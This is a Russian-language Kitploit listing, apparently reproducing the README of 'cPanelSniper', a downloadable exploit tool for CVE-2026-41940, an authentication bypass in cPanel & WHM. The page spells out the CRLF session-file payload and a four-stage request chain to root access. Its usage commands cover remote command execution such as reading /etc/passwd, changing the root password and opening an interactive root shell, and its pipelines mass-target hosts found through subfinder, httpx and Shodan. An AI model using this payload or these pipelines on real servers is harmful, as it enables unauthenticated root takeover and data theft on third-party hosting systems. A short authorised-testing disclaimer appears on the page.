Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cPanelSniper — CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию в файле сессии | Kitploit
Инструменты/GitHubGitHub/ynsmroztas/cpanelsniper
Аутентификация и авторизацияСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
GitHubynsmroztas/cpanelsniper

cPanelSniper

506139295 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию в файле сессии

Репозиторий

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию в файл сессии
Цепочка эксплойта из 4 этапов · Интерактивная WHM-оболочка · Массовый сканер · Готовность к пайплайнам · Только stdlib


Обзор

cPanelSniper — это специализированный фреймворк для эксплуатации CVE-2026-41940, критической уязвимости обхода аутентификации, затрагивающей cPanel & WHM. Уязвимость позволяет неаутентифицированным удалённым злоумышленникам получить root-доступ к WHM путём инъекции CRLF-последовательностей в файл сессии через HTTP-заголовок Authorization — без каких-либо действительных учётных данных.

  • Оценка CVSS: 10.0 (критическая)
  • Эксплуатация в дикой природе: подтверждена (апрель 2026)
  • Затронутые установки: ~70 миллионов доменов, работающих на cPanel & WHM
  • Без зависимостей: чистый Python stdlib — без pip, без requests, без внешних пакетов

Только для авторизованного тестирования на проникновение и программ bug bounty.


Как это работает

Корневая причина находится в Session.pm: функция saveSession() вызывает filter_sessiondata() после записи файла сессии на диск. Это означает, что CRLF-символы, встроенные в значение заголовка Authorization: Basic, записываются в файл сессии без изменений, внедряя контролируемые злоумышленником поля до проведения санитизации.

Нормальный поток:
  POST /login/ → filter_sessiondata() → запись сессии → проверка аутентификации

Уязвимый поток:
  POST /login/ → запись сессии (внедрена CRLF-нагрузка) → filter_sessiondata() → проверка аутентификации читает отравленный файл

CRLF-нагрузка

Значение Authorization: Basic декодируется в:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Эти поля записываются непосредственно в файл сессии на диске. При обратном чтении cPanel рассматривает сессию как полностью аутентифицированную root-сессию.

Цепочка эксплойта из 4 этапов

┌─────────────────────────────────────────────────────────────┐
│  Этап 0 — Обнаружение канонического имени хоста             │
│  GET /openid_connect/cpanelid → 307 → реальное имя хоста    │
├─────────────────────────────────────────────────────────────┤
│  Этап 1 — Создание preauth-сессии                           │
│  POST /login/?login_only=1  (неверные учётные данные)       │
│  ← 401 + cookie whostmgrsession                             │
├─────────────────────────────────────────────────────────────┤
│  Этап 2 — CRLF-инъекция                                     │
│  GET / + Cookie: session + Authorization: Basic <нагрузка>  │
│  cpsrvd записывает CRLF-поля в файл сессии                  │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Этап 3 — Распространение (гаджет do_token_denied)          │
│  GET /scripts2/listaccts                                    │
│  Запускает сброс raw→cache — внедрённые поля активируются   │
│  ← 401 Token denied (ожидаемо)                              │
├─────────────────────────────────────────────────────────────┤
│  Этап 4 — Проверка root-доступа к WHM                       │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = ВЗЛОМАН        │
└─────────────────────────────────────────────────────────────┘

Затронутые версии

ВеткаУязвимыеИсправленные
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5

Установка

git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help

Установка через pip не требуется. Только чистый Python 3.8+ stdlib.


Использование

Базовое сканирование

# Одиночная цель — только сканирование
python3 cPanelSniper.py -u https://target.com:2087

# Одиночная цель — интерактивная оболочка после обхода
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Массовое сканирование из файла
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# Принудительное сканирование (пропустить определение cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force

Действия после эксплуатации

# Список всех cPanel-аккаунтов на сервере
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Выполнение OS-команды
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Получение информации о сервере (имя хоста, нагрузка, диск, MySQL-хост)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Получение версии cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Смена root-пароля
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Интерактивная WHM-оболочка
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Пайплайны

# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Из списка scope
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Результаты Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python3 cPanelSniper.py -t 30 -o shodan_results.json

# Ввод через stdin
echo "https://target.com:2087" | python3 cPanelSniper.py

# Комбинация нескольких источников
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python3 cPanelSniper.py -t 20 --action list

Интерактивная WHM-оболочка

После успешного обхода флаг --action shell открывает интерактивное приглашение:

════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Версия: CVE-2026-41940 | Auth: CRLF bypass
  Введите 'help' для списка команд, 'exit' для выхода
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [cPanel Accounts]  target.com:2087 (47 пользователей)
    user01               domain: example.com    email: [email protected]
    user02               domain: shop.com       email: [email protected]
    ...
Скачать инструмент